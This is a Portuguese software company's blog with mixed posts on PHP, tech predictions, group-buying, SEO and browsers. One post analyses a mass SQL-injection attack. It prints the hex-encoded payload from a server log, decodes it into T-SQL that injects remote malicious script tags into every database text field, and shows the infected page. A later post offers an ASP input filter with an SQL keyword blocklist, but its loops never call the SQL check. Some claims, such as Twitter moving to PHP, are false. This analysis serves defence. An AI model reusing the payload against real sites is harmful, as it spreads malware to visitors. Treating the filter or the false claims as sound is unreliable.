este é o nosso blog

Aqui você encontrará um conteúdo bastante interessante, sobre temas variádos dentro de tecnologia, informática, internet e claro sobre o dia-a-dia da nossa empresa!

Arquivo da categoria: Internet

Postado por:

Essa é uma pergunta frequente que nossos clientes nos pergutam a respeito das tecnologias usadas para desenvolver suas soluções.

E respondemos que tecnicamente (quando olhamos detalhes de conceito) não enxergamos diferenças que possam impactar a escolha de uma ou outra linguagem de programação, pois ambas são orientadas a objetos, possuem excelentes frameworks de desenvolvimentos, as duas escalam, um detalhe ou outro de diferença.

O PHP abre margem maior para que profissionais ruins façam coisas ruins. Mas bons profissionais conseguem os mesmos resultados nas duas ferramentas e profissionais ruins conseguem fazer “cagada” com a melhor ferramenta do mundo.

Enfim, vou explicar que além de ser uma escolha meramente técnica ela é também ancorada financeiramente e impacta diretamente nos custos de um projeto, para isso citarei alguns pontos que nos guiam a escolher a arquitetura LAMP (Linux Apache Mysql PHP) ao invés da arquitetura Microsoft:

  1. Menor custo da Mão de Obra
  2. Menor tempo de desenvolvimento
  3. Menor custo de DataCenter
  4. Escalabilidade futura acessível e barata

 

Muitas pessoas por não conhecerem bem de tecnologia, costumam ter receios a respeito da linguagem de programação PHP, mas esquecem que:

  1. É a linguagem WEB mais usada por desenvolvedores
  2. Consequentemente é a maior comunidade de desenvolvimento e a que mais tem inovações
  3. O Facebook e o Yahoo foram feitos em cima do PHP e MYSQL
  4. O Twitter migrou sua linguagem nativa para o PHP por questões de escalabilidade
  5. A Wikipedia, maior enciclopédia do mundo, é feita usando PHP e MYSQL
  6. A maior rede de blogs do mundo, o WordPress é feito usando PHP

 

Eu costumo dizer que linguagem é somente ferramenta e nós apesar de termos projetos em ASP.NET, Ruby, ASP 3, Java, escolhemos o PHP5 como nossa linguagem padrão de desenvolvimento boa parte pelos itens citados acima.

Seguem algumas referências que balizam nossa opinião:

http://www.davidhurst.co.uk/2009/02/25/famous-websites-that-use-php-andor-mysql/
http://www.techenclave.com/programming/php-architectures-power-your-favourite-big-98227.html
http://www.oreillynet.com/onlamp/blog/2006/04/digg_phps_scalability_and_perf.html
http://www.sitepoint.com/why-php-scales/
http://talks.php.net/show/lt2004-lamp/
http://public.yahoo.com/bfrance/radwin/talks/one-year-of-php-oscon2003.htm
http://www.niallkennedy.com/blog/2004/10/flickr-architec.html
http://www.royans.net/arch/facebook-internals/
http://royal.pingdom.com/2007/02/26/what-the-webs-most-popular-sites-are-running-on/
http://royal.pingdom.com/royalfiles/0702_infrastructure_matrix.pdf

Abraços.

Postado por:


Nascido em 2008, o conceito é definido basicamente pelo crescente número de aparelhos que estarão conectados à grande rede. Para o grupo de internet da Cisco, até 2020, 50 bilhões de dispositivos terão acesso à web, algo como seis por pessoa.


A capacidade de armazenamento de cinco exabytes foi criada em 2008, o equivalente a um bilhão de DVDs. Três anos mais tarde, diz o futurista, o montante de informação criada era de 1,2 zettabytes. Muita da informação criada neste momento já é multimídia, a previsão é que em 2014 90% do tráfego na web seja vídeo. Assim, a era do zettaflood demandará muito das redes.


Até 2020, a previsão é que ao menos um terço dos dados estejam abrigados ou passem por uma nuvem. Até 2014, o gasto de TI em inovação e cloud computing deve chegar a US$ 1 bilhão. Para as empresas, aconselha, é importante entender que esses ambientes são bons apenas se o ambiente de rede der o suporte adequado.


O futurista usa sua própria casa como exemplo e diz que, desde 1990, a velocidade da conexão aumentou 170 mil vezes. Nos próximos dez anos, acredita que isso crescerá três milhões de vezes.


Com aumento da velocidade, melhora da comunicação e recursos disponíveis, as pessoas estão progredindo mais rapidamente. As revoltas árabes são exemplos do engajamento que pode ocorrer com o avanço da tecnologia. Tivemos ainda os alertas de Tsunami na costa norte-americana após o terremoto do Japão. Com esses eventos, a captura, disseminação e consumo das histórias ao vivo torna tudo em tempo real e mais próximo. Temos aí três pontos: banda larga móvel, internet e produção a qualquer hora e em qualquer lugar.


Com o crescimento populacional e também da urbanização, cidades com um milhão de habitantes serão criadas a cada mês nas próximas duas décadas. Isso trará demandas imensas, inclusive energéticas. Mas algumas respostas existem. A energia solar é algo que poderá ajudar muito.


Temos sempre nos adaptado às tecnologias. No futuro, isso irá mudar, elas se adaptarão aos nossos estilos. A última fronteira de integração serão as interfaces de máquinas cerebrais que, eventualmente, permitirão às pessoas com lesão na medula ter uma vida normal.


Temos assistido a um grande progresso do mundo físico para o virtual. Antes, comprávamos DVDs, cds, livros. Hoje tudo é baixado nos computadores e outros dispositivos com acesso à internet. Algo que tem crescido também é a impressão 3D. Num futuro não tão distante, eles acreditam que será possível imprimir órgãos humanos.


Os avanços tecnológicos têm permitido a criação de entidades artificiais. Caracteres automáticos podem reconhecer voz e fazer projeções. Além disso, temos o avanço da robótica. Até 2020, os robôs serão superiores aos humanos. Acredita-se ainda que até 2025 a população de robôs vai ultrapassar a de humanos no mundo desenvolvido, para, em 2035, substituir os humanos enquanto força de trabalho.


Temos cruzado o limite da descoberta e nos tornamos mestres de nosso próprio destino. Somos praticamente o sol de nossos átomos e rapidamente estamos ganhando o controle sobre eles. De acordo com Stephen Hawking, ‘os humanos estão iniciando o estágio de uma evolução auto-concebida’. Essas tendências são apenas para nos lembrar o quão bom é o mundo e, assim, temos sempre que responder a questão: estamos prontos?

Postado por:

Nesses últimos dias, a mídia especializada em tecnologia, principalmente a internacioal como o TechCrunch, Mashable e outras, vem traçando inúmeras e fortes críticas ao maior player desse mercado, o Groupon.

Tais críticas se apimentaram ainda mais com o lançamento do Google Offer’s e Facebook Deals, que é mais um “clone” dos sites de compras coletivas, só que feito pela GIGANTE Google. E o principal motivo das críticas é a sustentabilidade do modelo de negócios empregado em sistemas de compras coletivas.

Para quem ainda não está familiarizado, segue abaixo um esquema, que nós da Codificar, fizemos para o Educação Coletiva, que um portal de compras coletivas voltada para a Educação a Distância, e depois explicarei por que o nosso portal não cai nessa falha estrutural do modelo de negócios.

 

compras coletivas
Modelo de negócios – site x parceiro

Os usuários compram no site de compras coletivas, com descontos geralmente maiores que 50%, pagam através de um intermediador de pagamento que descontom em média 5% do valor de venda, ou sites maiores através de cartão de crédito, desse valor restante há uma comissão de 30%, em sites como Groupon ou Peixe Urbanos, a comissão pode chegar e ultrapassar a taxa de 50%, e o que resta é voltado ao parceiro, o “dono” original do produto ou serviço oferecido no site de compras coletivas.

Vamos a dados práticos, suponha uma oferta de uma Chapa de Picanha com 5 chops tenha o valor original de R$ 60,00. Ao divulgar num site de compra coletivas, foi ofertado um desconto de 60% , num valor de R$ 24,00, assim a cada venda realizada o parceiro receberá 50% dessa oferta, um montante de apenas R$ 12,00 por venda confirmada,  deixando assim de entrar em seu fluxo de caixa R$ 48,00 ou um desconto total de 80%.

Caso ele venda 500 unidades, ele irá receber o total de R$ 6.000,00 quando se vendesse em seu estabelecimento faturaria R$ 30.000,00. Tal valor para um comerciante local é um absurdo e com  certeza seu fluxo de caixa ficará prejudicado e como muitas vezes já aconteceu, o atendimento será péssimo durante os dias de validade da promoção, pois teremos uma imensa quantidade de consumidores ávidos por um bom serviço e barato e provavelmente não encontraram isso.

No exemplo citado, temos um limite da margem de contribuição do serviço, pois os custos fixo e variado tem pouca diminuição quando é vendido grandes quantidades, pois o preço da picanha é não irá variar muito, muito menos o do chopp, fora que os custos de infra-estrutura somente irão aumentar.

Agora gostaria de deixar claro que essa conta é prejudicial quando estamos tratando de comércio local, onde as margens são pequenas e apertadas devido fatores citados acima, mais a concorrência. Mas falando de serviços e produtos de alto valor agregado, a regra de ouro que quanto mais pessoas comprarem, a margem pode ser diminuida obtendo-se lucros efetivos é extremanente válida.

Vamos pegar agora o exemplo de Educação a Distância, que é o caso do nosso projeto o Educação Coletiva. Geralmente os cursos e suas aulas já estão disponíveis na plataforma do cliente, com um custo fixo determinado para suportar uma boa quantidade de alunos, assim, a medida que as vendas são  maximizadas pela coletividade, as vendas em grupo e em grande volume possibilitam a ampliação de lucros na venda por quantidade, pois temos a limitação natural dos custos, sendo que o custo inicial de produção do conteúdo provavelmente já foi investido em outra ocasião.

Então meus caros, é por isso que está havendo esse burburinho em torno das grandes empresas de compras coletivas, que durante a crise foram extremamente interessante aos consumidores e comerciantes, mas que agora, praticam taxas exorbitantes ao comerciante local.

Pensando nisso, até que dá uma vontade de mobilizar a Codificar para fazer uma plataforma JUSTA de Compras Coletivas, que pense no parceiro e pratique valores percentuais justos aos mesmos.

Postado por:

Prezados,

Há um tempo atrás, um de nossos colaboradores, o Luiz Ernani, produziu um excelente manual de uso do Magento, uma ferramenta de comércio eletrônico de código livre ( open source ) .

O Magento é uma das soluções livres “matadoras”, bastante completa, otimizada para máquinas de buscas, completamente customizável e com uma programação técnica extramente robusta.

Lembrando também que a Codificar tem experiência em sua implantação e customização, disponibilizando módulos de cálculo de frete integrado com os Correios e integração com pagamentos eletrônicos como PagSeguro, PagamentoDigital, Visa e Master (Komerci).

Abaixo seguem os links para download dos manuais de administrador e usuário:

Manual do Usuário

Manual do Administrador

Ou se preferirem o download direto:

Magento_Usuario

Magento_Administrador

Façam bom proveito,

Postado por:

Sites, sites e mais sites… A cada dia somos alvejados pela chuva de novos sites publicados na Internet e o grande dilema atual é a qualidade dessa imensa quantidade de informação e mídias disponibilizadas a cada dia na Internet. Ou seja, não adianta simplesmente estar na Internet, tem que deixar sua marca na Internet, é necessário prender visitantes ao seu site, seja por apelo visual ou pela qualidade da informação presente no mesmo.
A função da Codificar é entender qual será sua forma de aproximação com o seu público alvo e organizar isso de maneira que o visitante entre em seu site e seja fisgado, fique atraído pelo que vê.
Além do visual é necessário dinamismo, nenhum site se perpetua com as mesmas informações antigas. Quem visita seu site sempre irá querer saber as novidades, o que você e a sua empresa tem feito de novo, se existe um novo produto, um novo serviço, uma promoção ou uma notícia. Para permitir um fluxo adequado de informações em seu site a Codificar entrega cada site com um ambiente administrativo no qual você mesmo ou alguém de sua empresa, possa atualizar as informações presentes no site, dando dinamicidade às informações que achar necessário.
Atualmente a porta de entrada de um cliente para sua empresa é o seu site. Antigamente para encontrar de maneira ativa um produto ou serviço as pessoas interessadas abriam os catálogos, precisamente as páginas amarelas e procuravam na página correspondente a letra inicial do serviço ou empresa procurada. Hoje o processo é completamente diferente, se alguém quer encontrar algo, elas usam a Internet para isso. Elas obterão em sua máquina de busca preferida, por ex. o Google, e digitam o que querem encontrar e você tem de estar lá entre os primeiros registros listados se quiser ser encontrado. Por isso ter um site é muito importante e mais importante ainda é ter um site construído e otimizado pensado na necessidade de ser achado.
Para você não ter que se preocupar com isso, nós da Codificar já oferecemos nossos serviços com essa mentalidade, considerando que ser achado é a primeira necessidade de quem publica um site na internet.
Mas você já tem um site que não foi criado com essa visão? Não se preocupe, nós da CODIFICAR, temos serviço de otimização de sites já existentes para serem achados mais facilmente por máquinas de buscas, independente de tecnologia na qual ele foi criado.
Entre agora mesmo em contato conosco!!

Postado por:

Há muito tempo os designers e programadores de frontend vem fazendo milagres para tornar sites e sistemas web compatíveis com o navegador internet explorer 6. Isso tem encarecido os projetos web e também diminuido o uso de novas tecnologias e inovações como o CSS3 e o HTML5.

Vejam o que o hitler teria a dizer sobre o ie6. Cômico demais!!!

Dado esses fatores contra esse navegador muitas empresas vem adotando políticas contra o seu uso. Nós, na Codificar, temos orientado nossos clientes a se atualizarem e os convencemos com um argumento bastante simples: O seu projeto terá um custo maior se for compatível com IE6.

Vejam outras iniciativas como:

Funeral do IE6http://ie6funeral.com/ , feito pela Atten Design Group e até a Microsoft enviou uma carta de condolências.

IE 6 deve morrer – http://twibbon.com/join/IE6-Must-Die , uma campanha encampada por desenvolvedores web, webdesigners e profissionais da área usando o twitter.

Enfim, o IE6 deve realmente acabar e dá espaço para as inovações. Sugerimos que usem navegadores como o Firefox, Google Chrome e o IE8.

Postado por:

Antigamente a porta da sua empresa para desconhecidos era as páginas amarelas, e hoje?

Hoje, ninguém recebe mais aquele calhamaço de páginas de propaganda e se receber, certamente não terá a mesma efetividade do passado.

Hoje as pessoas vão para internet procurar saber quem você é, o que tem para oferecer e a internet é a porta de entrada da sua empresa.

É lá que elas vão procurar saber o que você faz, o que vende!

Por isto, seu site deve ser bem visto na Internet, precisa ser facilmente localizado e para tanto a Codificar oferece uma completa assessoria, atuando desde a divulgação até a melhoria da parte tecnológica do seu site.

Adotamos as seguintes estratégias para atingir os objetivos expostos:

“Otimização do código-fonte ” – metatags (parâmetros especiais), url’s amigáveis
“Cadastro em motores de busca” – + 200
“Referências em sites de diretórios “
“Referências em sites de parceiros do cliente “

Postado por:

Hoje eu estava navegando nas páginas da PBH procurando um sistema web para reemissão de alvará de funcionamento para anos anteriores , pois desde que assumimos a Codificar  (antiga Tecnocom) em 2007 nunca nos notificaram que existia uma pendência na Taxa de Incêndio de 2004. Pendência aliás que está com um valor incorreto, pois as dimensões da empresa estão completamente erradas, quase 10x maior que a verdadeira.

Enfim vamos ao que interessa. Um erro muito comum e cometido por desenvolvedores menos experientes, ou ainda desorganizados é a permissividade de inserção de código malicioso via métodos get e post do protocolo HTTP. Ambos os métodos permitem que uma página web troque informações com um servidor web através de variáveis textuais de maneira muito simples e fácil. Contudo fica como obrigação do desenvolvedor tratar o recebimento dessas variáveis que muitas vezes podem conter código malicioso.

Em linguagens de programação mais modernas e melhores encapsuladas, ou ainda em frameworks que modernizam e melhoram certas LP’s há tratamento destes inputs, coibindo assim o ataque ao site.

O erro que vi no site da PBH já aconteceu alguns de nossos clientes que possuem sites/sistemas desenvolvidos em Linguagem de Programação ASP. Diga-se de passagem que não fomos nós da Codificar que desenvolvemos os sites/sistemas de nossos clientes, somente assumimos a manutenção quando o CIRCO já estava pegando fogo.

Geralmente o erro é explorado da seguinte forma:

  1. Site vulnerável em ASP
  2. Componentes de MDAC desatualizados no servidor windows
  3. Código malicioso inserido por SQL INJECTION utilizando valores hexadecimais que traduzidos correspodem a declaração de um cursor que vai em todos os campos textuais do banco de dados SQL Server e concatenam o código indevido.

Tal erro, além de ser uma falha de programação é também um erro em alguns componentes windows (item 2 acima) que não me lembro bem, mas na época em que ocorreu isso em 2 de nossos clientes que estavam hospedados na locaweb, indicamos a atualização dos mesmos ao suporte da locaweb.

Veja como o ataque é realizado através do log do servidor web onde um cliente da Codificar recebeu esse ataque:

2008-05-27 03:02:11 W3SVC13927 PLESKWIN12 200.23X.XXX.XXX GET /page.asp intIndex=85;DECLARE%20@S%
20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E61647739352E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));

EX3C(@S);– 80 – 77.237.76.98 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) – - www.CLIENTE-CODIFICAR.com.br 200 0 64 0 1413 49151

Segundo o MAXMIND.com site que possui serviços de georeferenciamento de IP’s, o IP 77.237.76.98 está localizado no IRAN:

Hostname Country Code Country Name Region Region Name City Postal Code Latitude Longitude ISP Organization Metro Code Area Code
77.237.76.98 IR Iran, Islamic Republic of 05 Kohkiluyeh va Buyer Ahmadi Gachsaran 30.3586 50.7981 Respina Networks & Beyond Respina Networks & Beyond

Pegando esse trecho em HEXA e transformado para ASCII temos:

DECLARE @T VARCHAR(255)"@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name"b.name FROM sysobjects a"syscolumns b WHERE a.id=b.id AND a.xtype="u" AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T"@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC("UPDATE ["+@T+"] SET ["+@C+"]=RTRIM(CONVERT(
 
VARCHAR(4000)"["+@C+"]))+""<scrip_t src=http://www_adw_95_com/_b.js></fechascript>""")
FETCH NEXT FROM Table_Cursor INTO @T"@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Em tempo de execução da página web esse código é executado alterando todos textos do banco de dados.

Veja como ficou  a página afetada da PBH. (http://www.fazenda.pbh.gov.br/internet/pesquisas/consultas/resultado.asp?BuscaPalavra=alvar%E1&TipoBusca=A)

<table width="100%">
<tbody>
<tr>
<td colspan="2" width="100%" height="22" align="left" valign="top">
 
<hr size="1" noshade="noshade" />
 
</td>
</tr>
<tr>
<td width="15%" height="22" align="left" valign="top"><span style="color: #000000; font-family: Arial; font-size: x-small;"><strong>013/2002<script src="http://www.chinabnr.com/b.js"></script><script src="http://www.bnradw.com/b.js"></script> </strong></span><strong> </strong></td>
<td width="80%" height="22" align="left" valign="top"><span style="color: #000000; font-family: Arial; font-size: x-small;">"ISSQN - PROFISSIONAIS AUTÔNOMOS - OBRIGAÇÕES TRIBUTÁRIAS.Os profissionais autônomos, salvo os isentos do ISSQN, que exercerem suas atividades no território do Município, devem inscrever-se no cadastro mobiliário de contribuintes, recolher o ISSQN devido e comunicar as alterações cadastrais de interesse do fisco, inclusive o encerramento das atividades. Podem sujeitar-se ainda à incidência da Taxa de Fiscalização de Anúncios, se proprietário de engenho de divulgação de publicidade, e da Taxa de Fiscalização Sanitária, caso exerçam atividades que devam submeter-se à fiscalização específica.<script src="http://www.china_bnr_com/b_js">// <![CDATA[
</fecchascript><script src-"http://www_bnradw_com-b-js">
// ]]></script>"</span></td>
<td width="5%" height="22" align="left" valign="top"><span style="color: #000000; font-family: Arial; font-size: x-small;"><a onmouseover="MM_swapImage('Image791','','../../../dividativa/avanca_on.gif',1)" onmouseout="MM_swapImgRestore()" href="resultadoaction.asp?Bookmark=2&amp;BuscaPalavra=alvar%C3%A1&amp;TipoBusca=A"><img src="../../../dividativa/avanca.gif" border="0" alt="" width="16" height="16" /></a></span>
 
&nbsp;</td>
</tr>
</tbody>
</table>

 

Caso tenha um bom anti-virus e peça para visualizar o código fonte dessa página ou ainda entrar na pasta de cache do seu navegar ele irá acusar a presença do código malicioso.

Anteriormente já tinhamos anunciado a solução aqui em nosso blog:

 

  1. Coloque / inclua o script ASP fix_injection nos arquivos que fazem comunicação com o banco de dados, veja o código no post ASP – ANTI SQL INJECTION.
  2. Caso não houve perda dos dados dos campos textuais, use o script SQL de Busca e substituição postado em SEARCH AND REPLACE T-SQL.

Foi enviado um email para webmaster@pbh.gov.br com o link deste post para correção dos erros.

Caso não consiga solucionar o problema , ou possui problemas parecidos com esse de difícil solução em seu sistema/site entre em contato com a Codificar e peça um orçamento através do nosso formulário de contato.

Atenciosamente,

Raphael Canguçu.

Postado por:

Abaixo segue um script para a linguagem ASP – CLASSIC.

Esse arquivo deve ser incluído dentro do arquivo onde é feita a conexão do banco de dados, ou em um include global.

fix_injection.asp

<%
‘  fix_injection.asp

‘  Author: Nazim Lala, Codificar (http://www.codificar.com.br)
‘  Modified Date: 26-05-2008
‘  This is the include file to use with your asp pages to
‘  validate input for SQL injection.

Dim BlackList, ErrorPage


‘  Below is a black list that will block certain SQL commands and
‘  sequences used in SQL injection will help with i\0 putaput sanitization

‘  However this is may not suffice, because:
‘  1) These might not cover all the cases (like encoded characters)
‘  2) This may disallow legitimate input

‘  Creating a raw sql query strings by concatenating user input is
‘  unsafe programming practice. It is advised that you use parameterized
‘  SQL instead. Check http://support.microsoft.com/kb/q164485/ for information
‘  on how to do this using ADO from ASP.

‘  Moreover, you need to also implement a white list for your parameters.
‘  For example, if you are expecting input for a zipcode you should create
‘  a validation rule that will only allow 5 characters in [0-9].

BlackList = Array(“–”, “;”, “/*”, “*/”, “@@”, “@”,_
“char”, “nchar”, “varchar”, “nvarchar”,_
“alter”, “begin”, “cast”, “create”, “cursor”,_
“declare”, “delete”, “drop”, “end”, “exec”,_
“execute”, “fetch”, “insert”, “kill”, “open”,_
“select”, “sys”, “sysobjects”, “syscolumns”,_
“table”, “update”)

‘  Populate the error page you want to redirect to in case the
‘  check fails.

ErrorPage = “/fix_injection/error_page.asp”

”””””””””””””””””””””””””’
‘  This function does not check for encoded characters
‘  since we do not know the form of encoding your application
‘  uses. Add the appropriate logic to deal with encoded characters
‘  in here
”””””””””””””””””””””””””’
Function CheckStringForSQL(str)
On Error Resume Next

Dim lstr

‘ If the string is empty, return true
If ( IsEmpty(str) ) Then
CheckStringForSQL = false
Exit Function
ElseIf ( StrComp(str, “”) = 0 ) Then
CheckStringForSQL = false
Exit Function
End If

lstr = LCase(str)

‘ Check if the string contains any patterns in our
‘ black list
For Each s in BlackList

If ( InStr (lstr, s) <> 0 ) Then
CheckStringForSQL = true
Exit Function
End If

Next

CheckStringForSQL = false

End Function

Public Function CheckString (strEntrada)
Dim objRegExp
Set objRegExp = Server.CreateObject(“VBScript.RegExp”)

Dim strExpressao

strExpressao = “(<\s*/*(script|object|applet|embed|form|img)\s*.*>)” ‘< [/] script ou object ou applet ou embed ou form >
strExpressao = strExpressao & “|” & “(\s+eval\s*\()” ‘ EVAL(
strExpressao = strExpressao & “|” & “(\s+event\s*=)” ‘ Event=
strExpressao = Replace(strExpressao, “<”, “(<|%60|<)”) ‘Garantir < ou < em HTML ENCODE
strExpressao = Replace(strExpressao, “>”, “(>|%62|>)”) ‘Garantir > ou > em HTML ENCODE

objRegExp.IgnoreCase = True ‘Ignorar caixa “ALTA” ou “baixa”
objRegExp.Global = False ‘Para na hora que encontrar (velocidade)

objRegExp.Pattern = strExpressao ‘Define a expressão

CheckString = objRegExp.Test(strEntrada) ‘testa

Set objRegExp = Nothing

End Function

”””””””””””””””””””””””””’
‘  Check forms data
”””””””””””””””””””””””””’
Dim s
For Each s in Request.Form
If ( CheckString(Request.Form(s)) ) Then

‘ Redirect to an error page
Response.Redirect(ErrorPage)

End If
Next

”””””””””””””””””””””””””’
‘  Check query string
”””””””””””””””””””””””””’

For Each s in Request.QueryString
If ( CheckString(Request.QueryString(s)) ) Then

‘ Redirect to error page
Response.Redirect(ErrorPage)

End If

Next

”””””””””””””””””””””””””’
‘  Check cookies
”””””””””””””””””””””””””’

For Each s in Request.Cookies
If ( CheckString(Request.Cookies(s)) ) Then

‘ Redirect to error page
Response.Redirect(ErrorPage)

End If

Next

”””””””””””””””””””””””””’
‘  Add additional checks for input that your application
‘  uses. (for example various request headers your app
‘  might use)
”””””””””””””””””””””””””’

%>

error_page.asp

<%@LANGUAGE=”VBSCRIPT” CODEPAGE=”65001″%>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>SQL INJECTION</title>
<style type=”text/css”>
<!–
.style1 {color: #FF0000}
–>
</style>
</head>

<body>
<h1 class=”style1″>Tentativa de exploração de falha de segurança!!!</h1>
<p class=”style1″>Verifique os dados inseridos.</p>
</body>
</html>
os Arquivos fix_injection.

© copyright 2011 Codificar Sistemas Tecnológicos | Todos os direitos reservados.